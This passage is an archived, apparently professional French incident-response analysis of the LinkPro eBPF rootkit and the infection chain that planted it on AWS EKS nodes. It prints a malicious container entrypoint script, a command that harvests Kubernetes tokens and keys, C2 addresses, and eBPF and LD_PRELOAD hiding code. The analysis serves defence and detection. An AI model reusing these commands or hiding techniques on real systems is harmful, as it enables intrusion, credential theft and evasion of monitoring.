{
	"id": "fe30a534-67e7-468a-8ef1-e09803e21717",
	"created_at": "2026-04-10T03:20:46.956373Z",
	"updated_at": "2026-04-10T03:22:18.547472Z",
	"deleted_at": null,
	"sha1_hash": "6ca08bcd5c750ae535856ab696321e43cc3836a0",
	"title": "LinkPro : analyse d'un rootkit eBPF",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 3527143,
	"plain_text": "LinkPro : analyse d'un rootkit eBPF\r\nBy Théo Letailleur\r\nArchived: 2026-04-10 03:00:25 UTC\r\nLors d'une investigation numérique liée à la compromission d'une infrastructure hébergée sur AWS, une backdoor\r\nfurtive ciblant les systèmes GNU/Linux a été découverte. Cette backdoor dispose notamment de fonctionnalités\r\nreposant sur l'installation de deux modules eBPF, d'une part pour se dissimuler, d'autre part pour être activée à\r\ndistance sur réception d'un « paquet magique ». Cet article détaille les capacités de ce rootkit et présente la chaîne\r\nd'infection observée dans ce cas qui a permis son installation sur plusieurs nœuds d'un environnement AWS EKS.\r\nVous souhaitez améliorer vos compétences ? Découvrez nos sessions de formation ! En savoir plus\r\nIntroduction\r\neBPF (extended Berkeley Packet Filter) est une technologie adoptée sur Linux pour ses nombreux cas d'usage\r\n(observabilité, sécurité, réseau, etc.) et sa capacité à s'exécuter dans le contexte noyau tout en pouvant être\r\norchestrée depuis l'espace utilisateur. Les attaquants la détournent de plus en plus pour créer des portes dérobées\r\nsophistiquées et échapper aux outils de supervision système traditionnels. \r\nDes malwares comme BPFDoor1, Symbiote2 et J-magic3 démontrent l'efficacité de l'eBPF pour créer des portes\r\ndérobées passives, capables d'observer le trafic réseau et de s'activer sur réception d'un « paquet magique »\r\nspécifique. De plus, des outils plus complexes comme ebpfkit4 (preuve de concept) et eBPFexPLOIT5, open-source et développés en Golang (pour l'orchestrateur), se présentent comme des rootkits, de la mise en place de\r\ncanaux de commande et de contrôle (C2) secrets, à la dissimulation de processus et aux techniques d'évasion de\r\nconteneurs.\r\nAu cours d'une investigation récente d'une infrastructure AWS compromise, le CSIRT Synacktiv a déterminé une\r\nchaîne d'infection relativement sophistiquée, menant à l'installation d'une backdoor furtive sur les systèmes\r\nGNU/Linux reposant sur l'installation deux modules eBPF, d'une part pour se dissimuler, d'autre part, pour être\r\nactivée à distance sur réception d'un « paquet magique ». \r\nChaîne d'infection\r\nL'analyse forensique a permis d'identifier un serveur Jenkins vulnérable (CVE-2024–238976) et exposé sur\r\ninternet, identifié comme la source de la compromission. Ce dernier a servi de point d'entrée au groupe d'attaquant\r\npour accéder par la suite à la chaîne d'intégration et de déploiement, hébergée sur plusieurs clusters du service\r\nAmazon EKS7 - Elastic Kubernetes Service (mode standard).\r\nDepuis le serveur Jenkins, le groupe d'attaquant a déployé une image docker malveillante appelée  kvlnt/vv\r\n(hébergée sur hub.docker.com avant qu'elle soit retirée par le support, suite à notre signalement) sur plusieurs\r\nclusters Kubernetes. L'image docker est basée sur une image Kali Linux possédant deux couches supplémentaires.\r\nhttps://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf\r\nPage 1 of 34\n\nCes couches ajoutent le dossier app en répertoire de travail, puis ajoutent trois fichiers dans celui-ci :\r\n1. /app/start.sh : Script bash qui sert de point d'entrée à l'image docker. Son but est de lancer le service\r\nssh, exécuter la backdoor /app/app , et le programme /app/link\r\n#!/bin/bash\r\nsed -i -e 's/#PermitRootLogin /PermitRootLogin yes\\n#/g' /etc/ssh/sshd_config\r\n/etc/init.d/ssh start\r\n./app \u0026\r\n./link -k ooonnn -w mmm000 -W -o 0.0.0.0/0 || tail -f /var/log/wtmp\r\n2. /app/link  : programme open-source appelé vnt8 qui sert de serveur VPN et fournit des capacités de\r\nproxy. Il se connecte à un serveur de relais communautaire vnt.wherewego.top:29872 . Cela permet au\r\ngroupe d'attaquant de se connecter au serveur compromis depuis n'importe quelle adresse IP, et de s'en\r\nservir comme proxy pour atteindre d'autres serveurs de l'infrastructure. Les arguments en ligne de\r\ncommande spécifiés dans le script /app/start.sh sont les suivants :\r\n1. -k ooonnn : jeton qui identifie le VLAN virtuel sur le serveur de relais\r\nhttps://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf\r\nPage 2 of 34\n\n2. -w mmm000 : mot de passe utilisé pour chiffrer les communications entre les clients (AES128-\r\nGCM)\r\n3. -W : active le chiffrement entre les clients et le serveur (RSA+AES256-GCM) pour éviter la fuite\r\ndu jeton et les attaques man-in-the-middle.\r\n4. -o 0.0.0.0/0 : permet le forwarding vers tous les segments réseaux.\r\n3. /app/app : malware de type downloader qui récupère une charge malveillante chiffrée sur un bucket S3.\r\nL'URL contactée est  https[:]//fixupcount.s3.dualstack.ap-northeast-1.amazonaws[.]com/wehn/rich.png Dans le cas observé, il s'agit d'une charge vShell 4.9.3 en mémoire qui\r\ncommunique avec son serveur de commande et de contrôle ( 56.155.98.37 ) via WebSocket. Le CSIRT\r\nSynacktiv nomme ce downloader vGet, pour son lien direct avec vShell dans ce cas. \r\nvShell est une porte dérobée déjà documentée9, et qui est notamment utilisée par UNC517410. Son code source\r\nn'est plus disponible sur GitHub depuis environ un an. Mais une version récente, 4.9.3, ainsi que sa licence\r\n(crackée), sont disponibles en téléchargement, ce qui permet à divers acteurs d'utiliser vShell.\r\nEn revanche, il n'existe pas de publication en source ouverte de vGet, développé en Rust et strippé. Ce code\r\nmalveillant crée un fichier symbolique /tmp/.del vers /dev/null au début de son exécution avant de\r\ntélécharger la charge malveillante vShell. vShell, lors de son exécution, initialise la variable\r\nd'environnement  HISTFILE=/tmp/.del au moment d'ouvrir un terminal (sur requête de l'opérateur). La finalité\r\nétant de s'assurer qu'il n'y ait pas d'écriture de l'historique des commandes dans un fichier (par\r\nexemple  .bash_history ). Il est donc possible qu'il y ait un lien entre ces deux programmes, et que vGet ait été\r\nspécifiquement développé pour exécuter vShell directement en mémoire, sans laisser de traces sur le disque.\r\nvGet — lien symbolique  /dev/null  vers  /tmp/.del\r\nL'échantillon de vGet récupéré possède peu de symboles, mis à part une référence au nom d'utilisateur\r\ncosmanking défini dans les chemins absolus des dépendances Rust, par exemple : \r\n/Users/cosmanking/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ureq-2.12.1/src/request.rs.\r\nConcernant l'image docker, le point de montage suivant est configuré :\r\nPoint de montage : /mnt\r\nSource (l'hôte) : /\r\nDestination (vers le conteneur) : /mnt\r\nAccès : lecture et écriture\r\nType : bind\r\nCette configuration permet au groupe d'attaquant de contourner l'isolation du conteneur (l'image en exécution),\r\naccédant ainsi à l'ensemble du système de fichier de la partition racine avec les privilèges root. \r\nhttps://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf\r\nPage 3 of 34\n\nDepuis le processus /app/app  (vGet) du pod kvlnt/vv , une commande cat a été exécutée dans le but de\r\nrécupérer des identifiants (jetons d'authentification, clés d'API, certificats...) disponibles sur l'hôte et notamment\r\ndans les autres pods. Ci-dessous un cours extrait de cette commande :\r\ncat \\\r\nvar/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~csi/pvc-[UUID]/mount \\\r\nvar/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~csi/pvc-[UUID]/vol_data.json \\\r\nvar/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~projected/kube-api-access-[ID]/ca.crt \\\r\nvar/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~projected/kube-api-access-[ID]/namespace \\\r\nvar/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~projected/kube-api-access-hfsns/token \\\r\nvar/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~secret/webhook-cert/ca \\\r\nvar/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~secret/webhook-cert/cert \\\r\nvar/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~secret/webhook-cert/key\r\n[..ETC..]\r\nQuelques semaines après le déploiement de cette image docker, l'exécution de deux autres malwares a été\r\nobservée sur plusieurs nœuds Kubernetes, ainsi que sur des serveurs de production. Ces derniers ont été\r\nparticulièrement ciblés par le groupe d'attaquant pour des motifs financiers.\r\nLe premier code malveillant est un dropper embarquant une autre porte dérobée vShell (v4.9.3) exécutée en\r\nmémoire, communiquant cette fois via DNS tunneling. Concernant le dropper, il n'est pas similaire à\r\nSNOWLIGHT11, déjà observé dans certaines publications pour déposer vShell, mais a la même finalité. Le\r\nprocessus de déchiffrement s'effectue en deux étapes. Voici un extrait de l'échantillon que le CSIRT Synacktiv a\r\nanalysé :\r\nEtape 1 : Déchiffrement du premier shellcode, directement exécuté\r\nhttps://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf\r\nPage 4 of 34\n\nEtape 2 : le shellcode déchiffre et charge la backdoor ELF vShell embarquée dans sa mémoire\r\nEnfin, la charge finale, non documentée et que le CSIRT Synacktiv nomme LinkPro, est une porte dérobée\r\nexploitant la technologie eBPF, que l'on pourrait qualifier de rootkit par ses capacités de furtivité, de persistance,\r\net de pivot sur le réseau interne. \r\nRootkit LinkPro\r\nLinkPro cible les systèmes GNU/Linux et est développée en Golang. Le CSIRT Synacktiv le nomme LinkPro en\r\nréférence au symbole définissant son module principal :  github.com/link-pro/link-client . Le compte\r\nGitHub link-pro ne possède pas de répertoire ou de contribution publics. LinkPro utilise la technologie eBPF,\r\npour ne s'activer qu'à la réception d'un « paquet magique », et pour se dissimuler sur le système compromis.\r\nÉchantillons LinkPro Rootkit\r\nSHA256\r\nd5b2202b7308b25bda8e106552dafb8b6e739ca62287ee33ec77abe4016e698b (passive\r\nbackdoor)\r\n1368f3a8a8254feea14af7dc928af6847cab8fcceec4f21e0166843a75e81964 (active\r\nbackdoor)\r\nType de fichier ELF 64-bit LSB executable, x86-64, executable/linux/elf64\r\nTaille du fichier 8710464 octets\r\nMenace Linux Rootkit\r\nNoms de fichier\r\nobservés\r\n.tmp~data.ok ; .tmp~data.pro ; .tmp~data.resolveld\r\nLinkPro embarque quatre modules ELF : une bibliothèque partagée, un module noyau, et deux modules eBPF :\r\nhttps://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf\r\nPage 5 of 34\n\nProgrammes ELF embarqués (vue Malcat)\r\nLes différents modules ELF sont détaillés ci-après. Le module noyau n'est cependant jamais utilisé par\r\nLinkPro (pas de fonction implémentée permettant de le charger).\r\nBinaires ELF embarqués LinkPro\r\nSHA256 Type Taille\r\nb11a1aa2809708101b0e2067bd40549fac4880522f7086eb15b71bfb322ff5e7 Shared object 14.2 KiB\r\n9fc55dd37ec38990bb27ea2bc18dff0bb2d16ad7aa562ab35a6b63453c397075 Kernel object 573.0 KiB\r\n364c680f0cab651bb119aa1cd82fefda9384853b1e8f467bcad91c9bdef097d3 BPF 18.8 KiB\r\nb8c8f9888a8764df73442ea78393fe12464e160d840c0e7e573f5d9ea226e164 BPF 35.4 KiB\r\nConfiguration et communication\r\nSelon la configuration implémentée, LinkPro peut fonctionner de deux façons : passive ou active. Sa\r\nconfiguration est récupérée de deux façons différentes :\r\n1. Soit elle est embarquée dans le binaire et structurée en JSON et précédée du mot-clé CFG0 ,\r\n2. Soit ses paramètres par défaut sont directement hardcodés dans la fonction principale. Cette méthode est\r\nobservée sur les deux échantillons.\r\nEnfin, des arguments en ligne de commande sont également pris en compte pour modifier les valeurs par défaut à\r\nl'exécution :\r\nUsage of \u003cprogram name\u003e:\r\n -addsvc\r\n / systemd disguise\r\n -connection-mode string\r\n : forward reverse (default \"reverse\")\r\n -debug string\r\n (default \"false\")\r\nhttps://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf\r\nPage 6 of 34\n\n-dns-domain string\r\n DNS (default \"dns.example.com\")\r\n -dns-mode string\r\n DNS: direct() tunnel() (default \"tunnel\")\r\n -dns-server string\r\n DNS (: 8.8.8.8:53)\r\n -ebpf string\r\n eBPF (0=,1=) (default \"1\")\r\n -hideebpf string\r\n hide ebpf prog/map/link in /proc (0=,1=) (default \"1\")\r\n -jitter string\r\n () (default \"2\")\r\n -key string\r\n ()\r\n -pid string\r\n pid to hide (default \"-1\")\r\n -port string\r\n (default \"6666\")\r\n -protocol string\r\n (httptcpudpdns) (default \"http\")\r\n -reverse-port string\r\n HTTP (default \"2233\")\r\n -rmsvc\r\n systemd disguise\r\n -server string\r\n (default \"1.1.1.1\")\r\n -sleep string\r\n () (default \"10\")\r\n -version string\r\n (default \"1.0.0\")\r\nLe paramètre -addsvc , observé lors de l'investigation, permet d'activer le mécanisme de persistance. \r\nVoici ci-dessous la structure de la configuration implémentée dans le code de LinkPro :\r\nstruct TailConfig // sizeof=0xD0\r\n{\r\n string ServerAddress;\r\n string ServerPort;\r\n string SecretKey;\r\n string SleepTime;\r\n string JitterTime;\r\n string Protocol;\r\n string DnsDomain;\r\n string DNSMode;\r\n string DnsServer;\r\n string Debug;\r\nhttps://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf\r\nPage 7 of 34\n\nstring Version;\r\n string ConnectionMode;\r\n string ReversePort;\r\n};\r\nIl existe deux valeurs possibles pour ConnectionMode : reverse ou forward .\r\n1. Le mode de connexion reverse correspond à un mode passif, où la backdoor se met en écoute pour\r\nrecevoir des commandes du C2. Dans ce mode, deux programmes eBPF de types eXpress Data Path12\r\n(XDP) et Traffic Control13 (TC) sont installés, dans le but de n'activer le canal de communication du C2\r\nque sur réception d'un paquet TCP spécifique.\r\n2. Le mode de connexion forward correspond à un mode actif, où la backdoor initie la communication avec\r\nson serveur C2. Dans ce mode, les programmes eBPF XDP/TC ne sont pas installés.\r\nLes deux échantillons déterminés sur le système d'information compromis possèdent les configurations suivantes :\r\nLinkPro TailConfig\r\n  d5b2202b 1368f3a8\r\n  Mode passif HTTP Mode actif HTTP\r\nServerAddress 1.1.1.1 (non utilisé) 18.199.101.111\r\nServerPort 6666 2233\r\nSecretKey 0 3344\r\nSleepTime 10 10\r\nJitterTime 2 2\r\nProtocol http http\r\nDnsDomain dns.example.com dns.example.com \r\nDNSMode tunnel  tunnel\r\nDnsServer 0 0\r\nDebug false false\r\nVersion 1.0.0 1.0.0\r\nConnectionMode reverse forward\r\nReversePort 2233 2233\r\nLes champs DNS ne sont utilisés que dans le cas d'une communication par protocole DNS.\r\nAprès avoir parsé sa configuration, LinkPro génère un ID de client unique avec les informations suivantes :\r\nhttps://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf\r\nPage 8 of 34\n\nSHA1sum(hex:\"0123456789abcdeffedcba9876543210\" | Nom d'hôte | Utilisateur courant | Chemin de\r\nl'exécutable | ID de la machine | Adresse MAC | \"nginx\" )\r\nL'ID de la machine correspond à la valeur présente dans /etc/machine-id ou (si inexistant)\r\ndans  /proc/sys/kernel/random/boot_id .\r\nCinq protocoles de communication sont possibles pour le mode forward (actif) :\r\nHTTP\r\nWebSocket\r\nUDP (raw)\r\nTCP (raw)\r\nDNS (direct/tunneling)\r\nPour le mode reverse (passif), seul le protocole HTTP est utilisé. Trois URLs sont servies :\r\n1. /reverse/handshake : identifie l'ID de l'opérateur (paramètre de requête http server_id ) et renvoie le\r\nstatus success .\r\n2. /reverse/heartbeat : renvoie les informations du client (si le paramètre request_client_info est\r\nspécifié) et renvoie le status ok .\r\n3. et /reverse/operation  : exécute les commandes de l'opérateur.\r\nLes échanges sont structurés en JSON et chiffrés avec la clé XOR SecretKey spécifiée dans la configuration.\r\nEnsuite, les étapes suivantes sont exécutées dans cet ordre :\r\n1. Installation du module eBPF \"Hide\" \r\n2. Si l'installation du module \"Hide\" échoue, ou qu'il a été désactivé (argument de ligne de commande  -ebpf\r\n0 ) : Installation d'une bibliothèque partagée dans  /etc/ld.so.preload\r\n3. Si le mode reverse est utilisé, installation du module eBPF \"Knock\"\r\n4. Installation de la persistance\r\n5. Exécution de commandes du C2\r\n6. Sur interruption, suppression des différents modules\r\nL'échantillon passif  d5b2202b  est utilisé pour illustrer les descriptions suivantes. \r\nModule LD PRELOAD\r\nÉchantillon LinkPro module LD PRELOAD\r\nSHA256 b11a1aa2809708101b0e2067bd40549fac4880522f7086eb15b71bfb322ff5e7\r\nType de fichier ELF 64-bit LSB shared object, x86-64, executable/linux/so64\r\nTaille du fichier 14552 octets\r\nMenace Linux Dynamic Linker Hijacking\r\nhttps://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf\r\nPage 9 of 34\n\nNom de fichier observé libld.so\r\nLinkPro modifie le fichier de configuration /etc/ld.so.preload pour spécifier le chemin de la bibliothèque\r\npartagée libld.so  qu'elle embarque dans le but de dissimuler différents artéfacts pouvant révéler la présence de\r\nla backdoor. Les différentes étapes de  libld.so sont les suivantes :\r\n1. Sauvegarde du contenu de /etc/ld.so.preload  en mémoire\r\n2. Extraction de libld.so , embarquée dans le binaire de LinkPro, vers /etc/libld.so\r\n1. Si besoin, /etc est monté avec les permissions de lecture et écriture : mount -o remount,rw\r\n/etc\r\n3. Attribution des droits suffisants pour que libld.so soit chargée et exécutée par tous les utilisateurs :\r\nchmod 0755 /etc/libld.so\r\n4. Remplacement du contenu présent dans le fichier /etc/ld.so.preload par /etc/libld.so\r\nGrâce à la présence du chemin de /etc/libld.so dans /etc/ld.so.preload , la bibliothèque partagée\r\nlibld.so installée par LinkPro est chargée par tous les programmes nécessitant  /lib/ld-linux.so 14. Soit\r\ntous ceux qui utilisent des librairies partagées, dont la glibc. \r\nUne fois  libld.so chargée à l'exécution d'un programme, par exemple /usr/bin/ls , elle « intercepte » (avant\r\nla glibc) plusieurs fonctions de la libc pour en modifier les résultats pouvant révéler l'existence de LinkPro. Dans\r\nle cas des fonctions interceptées par libld.so , voici le comportement observé :\r\nfopen et fopen64 : le hook de libld.so vérifie si le processus tente d'ouvrir\r\n/proc/net/tcp ,  /proc/net/tcp6 ,  /proc/net/udp ,  /proc/net/udp6 . Ces fichiers fournissent des\r\ninformations sur les connexions TCP/UDP actives. Le cas échéant, la vraie fonction fopen est exécutée.\r\nPuis, la bibliothèque malveillante récupère le contenu de ces fichiers et supprime les traces réseau de\r\nLinkPro. En effet, toute ligne contenant le port 2233 (port d'écoute de la backdoor LinkPro) en source ou\r\ndestination, est supprimée. Enfin, si le processus tente d'ouvrir un fichier nommé ld.so.preload , une\r\nerreur \"No Such File Or Directory\" est retournée.\r\nhttps://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf\r\nPage 10 of 34\n\nPseudocode de la fonction forge_proc_net_tcp modifiant le contenu\r\nConcernant les informations réseaux, netstat utilise les fichiers /proc/net pour afficher les\r\nconnexions en cours. En revanche, ss utilise à la place le protocole netlink  pour récupérer ces\r\ninformations. La présence du port 2233 en écoute sur la machine peut donc être détectée avec la\r\ncommande ss , comme le démontre l'image suivante ( openat est l'appel système utilisé par\r\nfopen ) :\r\nDétection port interne LinkPro netstat vs ss\r\nPar ailleurs, le nom du processus de LinkPro n'est pas indiqué dans le retour de commande de ss\r\n(même en ajoutant le flag -p ), grâce au hook de gentdents expliqué ci-après.\r\nhttps://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf\r\nPage 11 of 34\n\ngetdents et getdents64 : l'appel système getdents a pour but de lister les fichiers d'un répertoire.\r\nDans ce cas, libld.so exécute getdents  puis vérifie la présence :\r\nDes noms de fichier contenant les mots-clés .tmp~data (la backdoor Linkpro), libld.so ,\r\nsshids et ld.so.preload .\r\nLes répertoires de processus ( /proc/PID ) dont la ligne de commande contient le mot-clé  .tmp~data.\r\nLe cas échéant, l'entrée dirent est écrasée par la suivante.\r\nEcrasement de l'entrée dirent du fichier à dissimuler\r\nNB : Les symboles toyincang et toyincanglib spécifient les mots clé .tmp~data et\r\nlibld.so . « toyincang » peut être interprété en pinyin mandarin comme « dissimuler ».\r\nkill : l'appel système  kill  permet d'envoyer un signal à un processus et a pour argument le PID de la\r\ncible. Le hook mis en place par libld.so vérifie dans la ligne de commande du processus ciblé\r\n( /proc/PID/cmdline ) la présence du mot-clé .tmp~data (la backdoor Linkpro). Le cas échéant, la\r\nfonction de libc  kill  n'est pas exécutée.\r\nopen et open64 : si le processus tente d'ouvrir un fichier nommé ld.so.preload , une erreur \"No Such\r\nFile Or Directory\" est retournée.\r\nreaddir et readdir64 : le hook de  libld.so exécute la fonction  readdir  légitime (liste récursive\r\ndes fichiers d'un répertoire) puis, vérifie la présence :\r\nDes noms de fichier contenant les mots-clés  .tmp~data ,  libld.so , sshids , ld.so.preload  et\r\n.system (le dossier contenant LinkPro une fois le mécanisme de persistance activé).\r\nLes répertoires de processus ( /proc/PID ) dont la ligne de commande contient le mot-clé  .tmp~data.  \r\nLe cas échéant, le hook de  readdir retourne un résultat vide.\r\nSur l'image ci-dessous, une illustration du fonctionnement de libld.so . L'argument en ligne de commande -\r\nebpf 0 est spécifié pour explicitement désactiver le module \"Hide\" et donc activer la librairie en LD Preload à la\r\nplace.\r\nhttps://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf\r\nPage 12 of 34\n\nExemple chargement libld.so\r\nEn résumé, libld.so chargée par LinkPro tente de dissimuler les traces réseaux (port en écoute ou de\r\ndestination) et les traces du système de fichier de la backdoor LinkPro et de libld.so elle-même des autres\r\nprogrammes liés dynamiquement.\r\nModule eBPF \"Hide\"\r\nÉchantillon LinkPro module eBPF Hide\r\nSHA256 b8c8f9888a8764df73442ea78393fe12464e160d840c0e7e573f5d9ea226e164\r\nType de fichier ELF 64-bit LSB relocatable, eBPF\r\nTaille du fichier 36224 octets\r\nMenace Linux eBPF Rootkit\r\nLe module \"Hide\" est composé de plusieurs programmes eBPF de types Tracepoint et Kretprobe.\r\nLes programmes eBPFs de type TracePoint15 sont des programmes qui s'attachent à des points de traçage\r\n(tracepoints) statiques définis par le noyau Linux. Ils sont placés à des endroits spécifiques du code du noyau, par\r\nexemple sur les appels systèmes, l'allocation de mémoire, la planification de tâches, etc. En particulier, les points\r\nde traçage pour les appels systèmes se situent en entrée ( tracepoint/syscalls/sys_enter_syscall ) ou en sortie\r\n( tracepoint/syscalls/sys_exit_syscall ).\r\nhttps://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf\r\nPage 13 of 34\n\nLes Kprobes16 (Kernel Probes) permettent d'attacher un programme eBPF à pratiquement n'importe quelle\r\nfonction (son point d'entrée) dans le noyau. Les Kretprobes sont quant à eux déclenchés quand la fonction se\r\ntermine. Cela permet d'intercepter et de modifier le résultat d'un appel système. \r\nLe rootkit LinkPro installe ces programmes eBPF et tire parti de leurs capacités pour dissimuler ses processus et\r\nson activité réseau.\r\nInstallation du module \"Hide\"\r\nTout d'abord, LinkPro parse le module ELF embarqué \"Hide\" dans un objet spécifique (CollectionSpec) à l'aide\r\ndu moduleebpf-go 17.  On retrouve les différents objets eBPF du module Hide chargés en mémoire, soit les\r\nmaps18 et les programmes19. Les maps sont des structures de données qui peuvent être partagées entre les\r\nprogrammes.\r\nLinkPro met à jour la map pids_to_hide_map , avec le PID (Process ID) courant de LinkPro, ainsi que la liste\r\ndes PID spécifiés en ligne de commande (argument -pid ).\r\nLinkPro met à jour la map main_ebpf_progs pour ajouter les descripteurs de fichier (FD) des programmes eBPF\r\nchargés par LinkPro (les modules \"Hide\" et \"Knock\"). \r\nLinkPro crée ensuite des liens BPF20 pour attacher les programmes eBPF aux points d'instrumentation dans le\r\nnoyau. Le module eBPF Hide chargé par la backdoor LinkPro ajoute des hooks sur les appels système getdents\r\net getdents64 , dans le même objectif que la bibliothèque partagée libld.so , c'est-à-dire de dissimuler des\r\nfichiers spécifiques à LinkPro. De plus, des points d'accroche en entrée et sortie de l'appel système sys_bpf sont\r\npositionnés pour dissimuler ses maps et programmes eBPF. Voici ci-dessous les points d'accroche implémentés :\r\ntracepoint/syscalls/sys_enter_getdents -\u003e HandleGetdentsEnter\r\ntracepoint/syscalls/sys_enter_getdents64 -\u003e HandleGetdents64Enter\r\ntracepoint/syscalls/sys_exit_getdents -\u003e HandleGetdentsExit\r\ntracepoint/syscalls/sys_exit_getdents64 -\u003e HandleGetdents64Ext\r\ntracepoint/syscalls/sys_enter_bpf -\u003e HandleBpfEnter\r\nkretprobe/sys_bpf -\u003e HandleBpfExit\r\nhandle_getdents\r\nLe comportement des fonctions attachées aux points de traçage de getdents et getdents64 est semblable à\r\nlibld.so . Le résultat de l'appel système getdents ( sys_exit_getdents ) est intercepté. Le programme eBPF\r\nmet en place des filtres pour cacher :\r\nFichiers et répertoires spécifiques : toute entrée contenant les mots-clés .tmp~data ou .system .\r\nProcessus spécifiques : les répertoires de processus (sous /proc/ ) dont les identifiants (PID) sont listés\r\ndans la map eBPF pids_to_hide (pouvant contenir jusqu'à 10 PIDs) sont également masqués.\r\nL'appel système getdents renvoie une liste chaînée de structures dirent 21, où chaque structure représente un\r\nfichier ou un répertoire et contient des informations comme son nom, son inode, et la taille de l'entrée, permettant\r\nhttps://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf\r\nPage 14 of 34\n\nde calculer la position de l'élément suivant. Contrairement au hook de libld.so sur getdents , l'entrée\r\ndirent n'est pas écrasée directement par l'enregistrement suivant.\r\nVoici comment la liste chaînée des structures dirent est modifiée pour dissimuler un fichier nommé\r\n.tmp~data.resolveld .\r\nAvant la Modification eBPF\r\nLa liste est une succession d'enregistrements. Chaque dirent pointe implicitement vers le suivant grâce à sa\r\npropre longueur ( d_reclen ).\r\nStructure dirent avant modification\r\ndirent (Fichier A) dirent ( .tmp~data.resolveld ) dirent (Fichier B)\r\nd_reclen =24 d_reclen =32 d_reclen =24\r\nd_name =\"Fichier A\" d_name =\" .tmp~data.resolveld \"\r\nd_name =\"Fichier\r\nB\"\r\nPointe vers le début de\r\n.tmp~data.resolveld\r\nPointe vers le début du Fichier B Pointe vers la fin\r\nLes valeurs d_reclen sont données arbitrairement à titre d'exemple.\r\nAprès la Modification eBPF\r\nLe programme eBPF détecte .tmp~data.resolveld . Il modifie alors la longueur ( d_reclen ) de l'enregistrement\r\nprécédent ( Fichier A ) en y ajoutant la longueur de .tmp~data.resolveld .\r\nStructure dirent après modification\r\ndirent (Fichier A)\r\ndirent (.tmp~data.resolveld) -\r\nIgnoré\r\ndirent (Fichier B)\r\nd_reclen =24+32=56 d_reclen =32 d_reclen =24\r\nd_name =\"Fichier A\" d_name =\" .tmp~data.resolveld \"\r\nd_name =\"Fichier\r\nB\"\r\nPointe maintenant vers le début de Fichier\r\nB\r\n  Pointe vers la fin\r\nLa même technique est implémentée dans le projet eBPFeXPLOIT 22, avec en plus les noms de fichiers et\r\nrépertoires à dissimuler.\r\nhandle_ebpf\r\nhttps://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf\r\nPage 15 of 34\n\nDeux fonctions sont implémentées : HandleBpfEnter , lié au tracepoint syscall/sys_enter/bpf , et\r\nHandleBpfExit , lié au Kretprobe de sys_bpf . L'objectif ici est de dissimuler la présence des programmes eBPF\r\nd'outils comme bpftool 23. Le code observé est sensiblement le même que celui implémenté dans le projet\r\nEBPFeXPLOIT24, mis à part l'ajout de vérifications supplémentaires et de deux appels à bpf_printk , servant\r\nprobablement de débogage.\r\nint handleBpfEnter(struct trace_event_raw_sys_enter *ctx) {\r\n // ...\r\n if ((!attr_ptr) \u0026\u0026\r\n (bpf_probe_read_user(\u0026cmd_info.start_id, sizeof(__u32), (void *)attr_ptr) != 0))\r\n {\r\n bpf_printk(\"BPF cmd: %d, start_id: %u\", cmd, cmd_info.start_id);\r\n bpf_map_update_elem(\u0026hideEbpfMap, \u0026pid_tgid, \u0026cmd_info, BPF_ANY);\r\n }\r\n //...\r\n}\r\nint handleBpfExit(struct pt_regs *ctx) {\r\n // ...\r\n __u8 *is_main = bpf_map_lookup_elem(\u0026main_ebpf_progs, \u0026next_id);\r\n if (is_main \u0026\u0026 *is_main == 1) {\r\n bpf_printk(\"HIDING NEXT_ID: %u\", next_id);\r\n bpf_override_return(ctx, -ENOENT);\r\n return 0;\r\n }\r\n // ...\r\n}\r\nLes sorties de bpf_printk  sont enregistrées dans le fichier spécial  /sys/kernel/debug/tracing/trace_pipe .\r\nUn accès root est nécessaire pour lire son contenu :\r\nroot@malux# bpftool prog list\r\n# ..output...\r\nroot@malux# cat /sys/kernel/debug/tracing/trace_pipe\r\n bpftool-15162 [003] ...21 66902.319601: bpf_trace_printk: BPF cmd: 11, start_id: 0\r\n bpftool-15162 [003] ...21 66902.319778: bpf_trace_printk: BPF cmd: 11, start_id: 52\r\n bpftool-15162 [003] ...21 66902.319825: bpf_trace_printk: BPF cmd: 11, start_id: 160\r\n bpftool-15162 [003] ...21 66902.319867: bpf_trace_printk: BPF cmd: 11, start_id: 161\r\n # [..etc..]\r\n bpftool-15162 [003] ...21 66902.320442: bpf_trace_printk: BPF cmd: 11, start_id: 175\r\n bpftool-15162 [003] ...21 66902.320484: bpf_trace_printk: BPF cmd: 11, start_id: 176\r\n bpftool-15162 [003] ...21 66902.320528: bpf_trace_printk: BPF cmd: 11, start_id: 177\r\n bpftool-15162 [003] ...21 66902.320533: bpf_trace_printk: HIDING NEXT_ID: 654\r\nhttps://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf\r\nPage 16 of 34\n\nLe point de traçage handlerBpfEnter sauvegarde dans une map les commandes BPF de type\r\nBPF_PROG_GET_NEXT_ID , BPF_MAP_GET_NEXT_ID , et BPF_LINK_GET_NEXT_ID . Après l'exécution de l'appel\r\nsystème sys_bpf , le hook  handlerBpfExit est déclenché.\r\nLa structure de la commande associée est récupérée, contenant désormais le résultat de l'appel système, soit\r\nl'ID du programme, map, ou lien suivant.\r\nSi la valeur de cmd_info.attr_pr.next_id est égal à l'id d'un des 